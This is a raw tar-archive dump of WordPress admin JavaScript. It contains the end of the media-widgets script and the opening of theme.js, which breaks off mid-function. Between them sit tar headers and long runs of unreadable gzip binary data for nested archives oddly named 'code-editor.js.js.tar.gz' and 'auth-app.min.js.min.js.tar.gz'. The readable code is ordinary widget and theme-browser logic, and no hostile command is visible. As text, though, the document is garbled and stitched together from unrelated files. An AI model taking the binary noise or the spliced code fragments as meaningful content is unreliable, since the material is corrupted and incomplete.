							attachment_id: 0,
							url: ''
						});
					}
				});
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus();
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this, state, mediaFrameProps, modelProps;

			state = mediaFrame.state();
			if ( 'insert' === state.get( 'id' ) ) {
				mediaFrameProps = state.get( 'selection' ).first().toJSON();
				mediaFrameProps.postUrl = mediaFrameProps.link;

				if ( control.showDisplaySettings ) {
					_.extend(
						mediaFrameProps,
						mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON()
					);
				}
				if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) {
					mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url;
				}
			} else if ( 'embed' === state.get( 'id' ) ) {
				mediaFrameProps = _.extend(
					state.props.toJSON(),
					{ attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`.
					control.model.getEmbedResetProps()
				);
			} else {
				throw new Error( 'Unexpected state: ' + state.get( 'id' ) );
			}

			if ( mediaFrameProps.id ) {
				mediaFrameProps.attachment_id = mediaFrameProps.id;
			}

			modelProps = control.mapMediaToModelProps( mediaFrameProps );

			// Clear the extension prop so sources will be reset for video and audio media.
			_.each( wp.media.view.settings.embedExts, function( ext ) {
				if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) {
					modelProps[ ext ] = '';
				}
			});

			return modelProps;
		},

		/**
		 * Map media frame props to model props.
		 *
		 * @param {Object} mediaFrameProps - Media frame props.
		 * @return {Object} Model props.
		 */
		mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) {
			var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension;
			_.each( control.model.schema, function( fieldSchema, modelProp ) {

				// Ignore widget title attribute.
				if ( 'title' === modelProp ) {
					return;
				}
				mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp;
			});

			_.each( mediaFrameProps, function( value, mediaProp ) {
				var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp;
				if ( control.model.schema[ propName ] ) {
					modelProps[ propName ] = value;
				}
			});

			if ( 'custom' === mediaFrameProps.size ) {
				modelProps.width = mediaFrameProps.customWidth;
				modelProps.height = mediaFrameProps.customHeight;
			}

			if ( 'post' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl;
			} else if ( 'file' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.url;
			}

			// Because some media frames use `id` instead of `attachment_id`.
			if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) {
				modelProps.attachment_id = mediaFrameProps.id;
			}

			if ( mediaFrameProps.url ) {
				extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase();
				if ( extension in control.model.schema ) {
					modelProps[ extension ] = mediaFrameProps.url;
				}
			}

			// Always omit the titles derived from mediaFrameProps.
			return _.omit( modelProps, 'title' );
		},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps = {};

			_.each( modelProps, function( value, modelProp ) {
				var fieldSchema = control.model.schema[ modelProp ] || {};
				mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value;
			});

			// Some media frames use attachment_id.
			mediaFrameProps.attachment_id = mediaFrameProps.id;

			if ( 'custom' === mediaFrameProps.size ) {
				mediaFrameProps.customWidth = control.model.get( 'width' );
				mediaFrameProps.customHeight = control.model.get( 'height' );
			}

			return mediaFrameProps;
		},

		/**
		 * Map model props to previewTemplateProps.
		 *
		 * @return {Object} Preview Template Props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps = {};
			_.each( control.model.schema, function( value, prop ) {
				if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) {
					previewTemplateProps[ prop ] = control.model.get( prop );
				}
			});

			// Templates need to be aware of the error.
			previewTemplateProps.error = control.model.get( 'error' );
			return previewTemplateProps;
		},

		/**
		 * Open the media frame to modify the selected item.
		 *
		 * @abstract
		 * @return {void}
		 */
		editMedia: function editMedia() {
			throw new Error( 'editMedia not implemented' );
		}
	});

	/**
	 * Media widget model.
	 *
	 * @class    wp.mediaWidgets.MediaWidgetModel
	 * @augments Backbone.Model
	 */
	component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{

		/**
		 * Id attribute.
		 *
		 * @type {string}
		 */
		idAttribute: 'widget_id',

		/**
		 * Instance schema.
		 *
		 * This adheres to JSON Schema and subclasses should have their schema
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object.<string, Object>}
		 */
		schema: {
			title: {
				type: 'string',
				'default': ''
			},
			attachment_id: {
				type: 'integer',
				'default': 0
			},
			url: {
				type: 'string',
				'default': ''
			}
		},

		/**
		 * Get default attribute values.
		 *
		 * @return {Object} Mapping of property names to their default values.
		 */
		defaults: function() {
			var defaults = {};
			_.each( this.schema, function( fieldSchema, field ) {
				defaults[ field ] = fieldSchema['default'];
			});
			return defaults;
		},

		/**
		 * Set attribute value(s).
		 *
		 * This is a wrapped version of Backbone.Model#set() which allows us to
		 * cast the attribute values from the hidden inputs' string values into
		 * the appropriate data types (integers or booleans).
		 *
		 * @param {string|Object} key - Attribute name or attribute pairs.
		 * @param {mixed|Object}  [val] - Attribute value or options object.
		 * @param {Object}        [options] - Options when attribute name and value are passed separately.
		 * @return {wp.mediaWidgets.MediaWidgetModel} This model.
		 */
		set: function set( key, val, options ) {
			var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this
			if ( null === key ) {
				return model;
			}
			if ( 'object' === typeof key ) {
				attrs = key;
				opts = val;
			} else {
				attrs = {};
				attrs[ key ] = val;
				opts = options;
			}

			castedAttrs = {};
			_.each( attrs, function( value, name ) {
				var type;
				if ( ! model.schema[ name ] ) {
					castedAttrs[ name ] = value;
					return;
				}
				type = model.schema[ name ].type;
				if ( 'array' === type ) {
					castedAttrs[ name ] = value;
					if ( ! _.isArray( castedAttrs[ name ] ) ) {
						castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list.
					}
					if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) {
						castedAttrs[ name ] = _.filter(
							_.map( castedAttrs[ name ], function( id ) {
								return parseInt( id, 10 );
							},
							function( id ) {
								return 'number' === typeof id;
							}
						) );
					}
				} else if ( 'integer' === type ) {
					castedAttrs[ name ] = parseInt( value, 10 );
				} else if ( 'boolean' === type ) {
					castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value );
				} else {
					castedAttrs[ name ] = value;
				}
			});

			return Backbone.Model.prototype.set.call( this, castedAttrs, opts );
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return {
				id: 0
			};
		}
	});

	/**
	 * Collection of all widget model instances.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Backbone.Collection}
	 */
	component.modelCollection = new ( Backbone.Collection.extend( {
		model: component.MediaWidgetModel
	}) )();

	/**
	 * Mapping of widget ID to instances of MediaWidgetControl subclasses.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
		idBase = widgetForm.find( '> .id_base' ).val();
		widgetId = widgetForm.find( '> .widget-id' ).val();

		// Prevent initializing already-added widgets.
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;

		/*
		 * Create a container element for the widget control (Backbone.View).
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		/*
		 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
		 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
		 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
		 */
		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetModel = new ModelConstructor( modelAttributes );

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: widgetModel
		});

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the container's dimensions are fixed so that ME.js
		 * can initialize with the proper dimensions.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.render();
			}
		};
		renderWhenAnimationDone();

		/*
		 * Note that the model and control currently won't ever get garbage-collected
		 * when a widget gets removed/deleted because there is no widget-removed event.
		 */
		component.modelCollection.add( [ widgetModel ] );
		component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl;
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val();

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: new ModelConstructor( modelAttributes )
		});

		component.modelCollection.add( [ widgetControl.model ] );
		component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl;

		widgetControl.render();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetContent, widgetId, widgetControl, attributes = {};
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
		widgetId = widgetForm.find( '> .widget-id' ).val();

		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		// Make sure the server-sanitized values get synced back into the model.
		widgetContent = widgetForm.find( '> .widget-content' );
		widgetContent.find( '.media-widget-instance-property' ).each( function() {
			var property = $( this ).data( 'property' );
			attributes[ property ] = $( this ).val();
		});

		// Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop.
		widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs );
		widgetControl.model.set( attributes );
		widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs );
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.mediaWidgets.init().
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
code-editor.js.js.tar.gz000064400000006450150276633110011130 0ustar00��Z{s�
ϿҧX���tȣ����
3Q�v�W#e<SW�,��Zǻ�=D�6��,�u>���1c��"o�����<]�q�KY&"��(J^U.� L�e6��B&��8L#1�,�<x[|���>;�|����܇/�߿���|w��vp���`�9��O������g�؏iUfU�����r��W%���DD=6�LXy��tƖ2��e��؀}��C�{�:�Qd<������}X�vc�J�J�
2<��8�����g�*	K�&}vwȌ����(s���}'�g1�U\�B��L.6fȗi[!iU�4:��>�ӷ",WF9_� "�g��U�C����4Z�IQ�2)��y����ﷅ�+M��x�R���\\˴*:�O�<�O�ht�Jt��E���yZ�P4���V�O�d&/!Ӱ�X{��x���	,��Z�J��ة��%|Ae��~���x�D�<�|7;��l~��\�l:-�Z�8���Jq\�E�ʹ3p��+Sc&Լ��<�K��'�,Q��sQVy�>\�22�i���W��v:{���x̄
�Q$>��~���E�w���H��_�<I�T=N@�R0�__Y��1�9��ˤ�
C�bI��Ⱥ���Y8KmR�H�ł�4�@Vpf���*W����_}��7�,N�Q���W?`Z��&y�18RL�{
#5m����O�T���L�u��컧-š�/E�/���k���\A���1�B�zh�;v����u��B�Z�2��*Q�IN*V���gjz�V�&���
 W�$�cnu��c4(Z�- �y��*�ı<æP��aL��¾�89����T�	�,O3��7Ls���s�N�l��2.�	�#>������|/"���L���,���x|)�y5UX���ˣ㬊�������q�%�+mk�u�^u���c\���{˯y�2+	e��>),�r���cTP��C
U��)�;9;{Z���-T��V:�9�z|��i�^�-�e;�f��:���P�O[��_���n�&�y��V|�&]�ؐMZ3=�ָ�r��j�.��`��`�尻~�F<��J��յ!f��6_\C-�Q ��������Y�CF�p�셉W�+ț`&cH'
f]2/�IO1��stA6�!ߓ�!ϚP!�n_�ì-��gY|��ҍ|-~v%��H}d��`Q�U؃M��A�\
u��������X't3a�R>Ŧ��/r��3��m��,��ug�ȯj}�X�Ka��"�����:�3���,�r�-8��/j�]�s5��j�2^"�X�Qg�'Ji!/C�s�X�:�L(T��E®@��J��ajnǔ.���jT��E`,��#;P�jM��H.�9�m����`袣.[ת��
���H^zS�T����4�j"�a9#؝�
��*�R!���R�"�랟�…�ef���U	��~y�Y����_Y���Z¥w,�lde����nt����T������6����
���L{�k�^b�p�Qp�^��.�)lj˒
L.�x����p�.Ò	@&a\E��P�>Fo�6�&X…���u��K��YP�t�7R�#s	���{��%��Y�/�z���զs7zݖU=��~o�(
ǂ_�jb�]5���7l��Wi~�5��u
�"t"Dk�EZ��Y(I%3�1��b��<Q�D���fmAC=�m�Qۡ� �F�
)�߄R�� ���w0������xX�Ң�S�%,#���qւ*�����M����jaw�ڴN�wرR�����<�WpP�S�F���J�I�kEŸ�%!�0��{YMcỶ�r.c��	�U�R7�3�n�
!AQ�8��
��8*�8��U02����*���n��{1�D�,�-ȑ�3�!N�l�7�[��d�C�9ǂ]��i�� e��<��4'��\W��q�4���f� ����1;	w�,G- 1�H�J[�^�����^����]w�*��"Ydz�NE����/��q;����$����輑7&/���l@�|:�ڀv���&�n�7Z��i�خܜJ$�g�X��!TL�(�\"�$��ni�iH���zSz����Y�c��Ʋzc�0f��7���f��L<th��i� ���Kmΰ�{����u�k��2�Hׄ=�"t����V�sL�	v	Sʤ�g'�l�p�Q�:I��ϏR�
*��k
"�b�w�'p"��+�����GM]>j W�����2+IՀOQsț
�*�lE���ы|�r'<Z�[�g�;�Ev�ö���>]�BvL\�c�@K+MT��R,<�*�����ZW���k���A҆}�t�a�Q�7��MI���񮹼�'o��9�=�V&��(�b�G+�Gu}��w;����&53{�Z�����$�P�$f�v���������,(X��ԲJ^N�'	��:�\��ws*�#�x'�>����/��4�\'������SJ�+�E+��^&�!#:FVb�����Ӕ.j_��*i�T�ތ�-E��6����=�ȍ���ⳋ]w�bݭk㒕u�[nA�n��#�NMSX/�O�륃�C�hL&���\l���e��FT��%u��o�RBq�w3�aen-꼼+��0���:+{�ՄH�|�bO�٧�t)h␇{ڷ�}3��
��xfK�'�Ʃ�E������+MXEX�����#�3��o
�!V��^����o�8���e��&�&Ԅɠ��X&-4u6}p���;�\�'���#�}���I���C�/��{7l`�����&��
��]���,�8��9Gh5a㿿�ǣ�^��(ʾ��l0�� ~���	��Z"�g�5 ��J���2`
mC�s�nH=��_��+8y�ڡ�6(�m�X!J �l���J3|q�~���e��C+��Nk�&ʼn�zw
 qO�j�mZ�5[+��HS/�l��Leu���~ľ���4�1\箟��*~AQMa�}v0�D��¤O�p�D3�k?�j&��+����y
���qs�W�.7�)^�ݖ��Ӫ�g�&��K��L��3�uh��z��Ż"ngCo%N�G���:�:~��k�Zq6�ж�bɎJ����4��K,�DS:-�g��O���c�]̿�4�:�=dT��9�~���ڊ�P'�!<����Qu�\�nV����2 ����b�nr�fŮ}"U�4��0�1��ԯ�1i��|���~����������S>���4auth-app.min.js.min.js.tar.gz000064400000002073150276633110012012 0ustar00��Vmo�6��
��b��%;K���
t��/�a0�l3�I���i���$�IM�aۇ�I<���fv��QE&/=�(C�=TYi��ue5W&?���+��p���/�-=�����z���{�G�G��P�|������_��q�c����v؛�
l�40|c�mw
��P�G��;�ڔQY�D�˅��1�_a-���O�_+�]����s(#M�RۀՕ�sԩ���Se!�ﱦ�uYBo�F�j Z_�����A�R����b���B�$�t�qu���������&mm��90�;��ZG\�Qe]¥W�[� �4T<��!�E!3
fg'.�^M���dex:H�/;�4�U�Lc�%��%�뒐
������nY��d�t���w�����<�Y�1)T)�c�Η�Wa�J��~�1�\�P�@OҩW�.�t2��=_�甈�#+�p��8=��RCAf\�!�l5�/O_�ᢒQ�*�*k �N��¦���}�N|����o�&yS!Cy��B�%�~�e*x:I�	OO�1�<��AE�^|Li+x���3;w�������t��&ﲾ� �5���Xb�yL��ˌbI'�I	V�oM�W&N��H�3�;����m)�b��;{���q���g�����	�:`�(��q}��譙����wبi�����Y�p�T�G�J����9� ��E��_�5k
�Y~�i:��*����ɱ?b�N�VB�B�q���I*��F26�X���a=��q��*���嚝6���iy���8׉L7^��(�O�ѝɢeA.�M���8�[�9c��TZ:v��Vy@A�a*fmz�@�mN8|F�*"�h��53�a7�� E"�~Vq� y�[$�b�N�ҷڔ�*V���Z�P�g�-�"�����\�*��q9�H��Q�>ٽ#��w$��EH�t��Y��&H��B�0G�x����r���,�w	��+�Q��,�Kj˕�9�K�&yC�b��-I�@�B}6W�S�ҫ������'Υ���A�A�A�y�=��theme.js000064400000155256150276633110006226 0ustar00/**
 * @output wp-admin/js/theme.js
 */

/* global _wpThemeSettings, confirm, tb_position */
window.wp = window.wp || {};

( function($) {

// Set up our namespace...
var themes, l10n;
themes = wp.themes = wp.themes || {};

// Store the theme data and settings for organized and quick access.
// themes.data.settings, themes.data.themes, themes.data.l10n.
themes.data = _wpThemeSettings;
l10n = themes.data.l10n;

// Shortcut for isInstall check.
themes.isInstall = !! themes.data.settings.isInstall;

// Setup app structure.
_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });

themes.Model = Backbone.Model.extend({
	// Adds attributes to the default data coming through the .org themes api.
	// Map `id` to `slug` for shared code.
	initialize: function() {
		var description;

		if ( this.get( 'slug' ) ) {
			// If the theme is already installed, set an attribute.
			if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) {
				this.set({ installed: true });
			}

			// If the theme is active, set an attribute.
			if ( themes.data.activeTheme === this.get( 'slug' ) ) {
				this.set({ active: true });
			}
		}

		// Set the attributes.
		this.set({
			// `slug` is for installation, `id` is for existing.
			id: this.get( 'slug' ) || this.get( 'id' )
		});

		// Map `section.description` to `description`
		// as the API sometimes returns it differently.
		if ( this.has( 'sections' ) ) {
			description = this.get( 'sections' ).description;
			this.set({ description: description });
		}
	}
});

// Main view controller for themes.php.
// Unifies and renders all available views.
themes.view.Appearance = wp.Backbone.View.extend({

	el: '#wpbody-content .wrap .theme-browser',

	window: $( window ),
	// Pagination instance.
	page: 0,

	// Sets up a throttler for binding to 'scroll'.
	initialize: function( options ) {
		// Scroller checks how far the scroll position is.
		_.bindAll( this, 'scroller' );

		this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
		// Bind to the scroll event and throttle
		// the results from this.scroller.
		this.window.on( 'scroll', _.throttle( this.scroller, 300 ) );
	},

	// Main render control.
	render: function() {
		// Setup the main theme view
		// with the current theme collection.
		this.view = new themes.view.Themes({
			collection: this.collection,
			parent: this
		});

		// Render search form.
		this.search();

		this.$el.removeClass( 'search-loading' );

		// Render and append.
		this.view.render();
		this.$el.empty().append( this.view.el ).addClass( 'rendered' );
	},

	// Defines search element container.
	searchContainer: $( '.search-form' ),

	// Search input and view
	// for current theme collection.
	search: function() {
		var view,
			self = this;

		// Don't render the search if there is only one theme.
		if ( themes.data.themes.length === 1 ) {
			return;
		}

		view = new this.SearchView({
			collection: self.collection,
			parent: this
		});
		self.SearchView = view;

		// Render and append after screen title.
		view.render();
		this.searchContainer
			.append( $.parseHTML( '<label class="screen-reader-text" for="wp-filter-search-input">' + l10n.search + '</label>' ) )
			.append( view.el )
			.on( 'submit', function( event ) {
				event.preventDefault();
			});
	},

	// Checks when the user gets close to the bottom
	// of the mage and triggers a theme:scroll event.
	scroller: function() {
		var self = this,
			bottom, threshold;

		bottom = this.window.scrollTop() + self.window.height();
		threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
		threshold = Math.round( threshold * 0.9 );

		if ( bottom > threshold ) {
			this.trigger( 'theme:scroll' );
		}
	}
});

// Set up the Collection for our theme data.
// @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ...
themes.Collection = Backbone.Collection.extend({

	model: themes.Model,

	// Search terms.
	terms: '',

	// Controls searching on the current theme collection
	// and triggers an update event.
	doSearch: function( value ) {

		// Don't do anything if we've already done this search.
		// Useful because the Search handler fires multiple times per keystroke.
		if ( this.terms === value ) {
			return;
		}

		// Updates terms with the value passed.
		this.terms = value;

		// If we have terms, run a search...
		if ( this.terms.length > 0 ) {
			this.search( this.terms );
		}

		// If search is blank, show all themes.
		// Useful for resetting the views when you clean the input.
		if ( this.terms === '' ) {
			this.reset( themes.data.themes );
			$( 'body' ).removeClass( 'no-results' );
		}

		// Trigger a 'themes:update' event.
		this.trigger( 'themes:update' );
	},

	/**
	 * Performs a search within the collection.
	 *
	 * @uses RegExp
	 */
	search: function( term ) {
		var match, results, haystack, name, description, author;

		// Start with a full collection.
		this.reset( themes.data.themes, { silent: true } );

		// Trim the term.
		term = term.trim();

		// Escape the term string for RegExp meta characters.
		term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );

		// Consider spaces as word delimiters and match the whole string
		// so matching terms can be combined.
		term = term.replace( / /g, ')(?=.*' );
		match = new RegExp( '^(?=.*' + term + ').+', 'i' );

		// Find results.
		// _.filter() and .test().
		results = this.filter( function( data ) {
			name        = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' );
			description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' );
			author      = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' );

			haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] );

			if ( match.test( data.get( 'author' ) ) && term.length > 2 ) {
				data.set( 'displayAuthor', true );
			}

			return match.test( haystack );
		});

		if ( results.length === 0 ) {
			this.trigger( 'query:empty' );
		} else {
			$( 'body' ).removeClass( 'no-results' );
		}

		this.reset( results );
	},

	// Paginates the collection with a helper method
	// that slices the collection.
	paginate: function( instance ) {
		var collection = this;
		instance = instance || 0;

		// Themes per instance are set at 20.
		collection = _( collection.rest( 20 * instance ) );
		collection = _( collection.first( 20 ) );

		return collection;
	},

	count: false,

	/*
	 * Handles requests for more themes and caches results.
	 *
	 *
	 * When we are missing a cache object we fire an apiCall()
	 * which triggers events of `query:success` or `query:fail`.
	 */
	query: function( request ) {
		/**
		 * @static
		 * @type Array
		 */
		var queries = this.queries,
			self = this,
			query, isPaginated, count;

		// Store current query request args
		// for later use with the event `theme:end`.
		this.currentQuery.request = request;

		// Search the query cache for matches.
		query = _.find( queries, function( query ) {
			return _.isEqual( query.request, request );
		});

		// If the request matches the stored currentQuery.request
		// it means we have a paginated request.
		isPaginated = _.has( request, 'page' );

		// Reset the internal api page counter for non-paginated queries.
		if ( ! isPaginated ) {
			this.currentQuery.page = 1;
		}

		// Otherwise, send a new API call and add it to the cache.
		if ( ! query && ! isPaginated ) {
			query = this.apiCall( request ).done( function( data ) {

				// Update the collection with the queried data.
				if ( data.themes ) {
					self.reset( data.themes );
					count = data.info.results;
					// Store the results and the query request.
					queries.push( { themes: data.themes, request: request, total: count } );
				}

				// Trigger a collection refresh event
				// and a `query:success` event with a `count` argument.
				self.trigger( 'themes:update' );
				self.trigger( 'query:success', count );

				if ( data.themes && data.themes.length === 0 ) {
					self.trigger( 'query:empty' );
				}

			}).fail( function() {
				self.trigger( 'query:fail' );
			});
		} else {
			// If it's a paginated request we need to fetch more themes...
			if ( isPaginated ) {
				return this.apiCall( request, isPaginated ).done( function( data ) {
					// Add the new themes to the current collection.
					// @todo Update counter.
					self.add( data.themes );
					self.trigger( 'query:success' );

					// We are done loading themes for now.
					self.loadingThemes = false;

				}).fail( function() {
					self.trigger( 'query:fail' );
				});
			}

			if ( query.themes.length === 0 ) {
				self.trigger( 'query:empty' );
			} else {
				$( 'body' ).removeClass( 'no-results' );
			}

			// Only trigger an update event since we already have the themes
			// on our cached object.
			if ( _.isNumber( query.total ) ) {
				this.count = query.total;
			}

			this.reset( query.themes );
			if ( ! query.total ) {
				this.count = this.length;
			}

			this.trigger( 'themes:update' );
			this.trigger( 'query:success', this.count );
		}
	},

	// Local cache array for API queries.
	queries: [],

	// Keep track of current query so we can handle pagination.
	currentQuery: {
		page: 1,
		request: {}
	},

	// Send request to api.wordpress.org/themes.
	apiCall: function( request, paginated ) {
		return wp.ajax.send( 'query-themes', {
			data: {
				// Request data.
				request: _.extend({
					per_page: 100
				}, request)
			},

			beforeSend: function() {
				if ( ! paginated ) {
					// Spin it.
					$( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
				}
			}
		});
	},

	// Static status controller for when we are loading themes.
	loadingThemes: false
});

// This is the view that controls each theme item
// that will be displayed on the screen.
themes.view.Theme = wp.Backbone.View.extend({

	// Wrap theme data on a div.theme element.
	className: 'theme',

	// Reflects which theme view we have.
	// 'grid' (default) or 'detail'.
	state: 'grid',

	// The HTML template for each element to be rendered.
	html: themes.template( 'theme' ),

	events: {
		'click': themes.isInstall ? 'preview': 'expand',
		'keydown': themes.isInstall ? 'preview': 'expand',
		'touchend': themes.isInstall ? 'preview': 'expand',
		'keyup': 'addFocus',
		'touchmove': 'preventExpand',
		'click .theme-install': 'installTheme',
		'click .update-message': 'updateTheme'
	},

	touchDrag: false,

	initialize: function() {
		this.model.on( 'change', this.render, this );
	},

	render: function() {
		var data = this.model.toJSON();

		// Render themes using the html template.
		this.$el.html( this.html( data ) ).attr( 'data-slug', data.id );

		// Renders active theme styles.
		this.activeTheme();

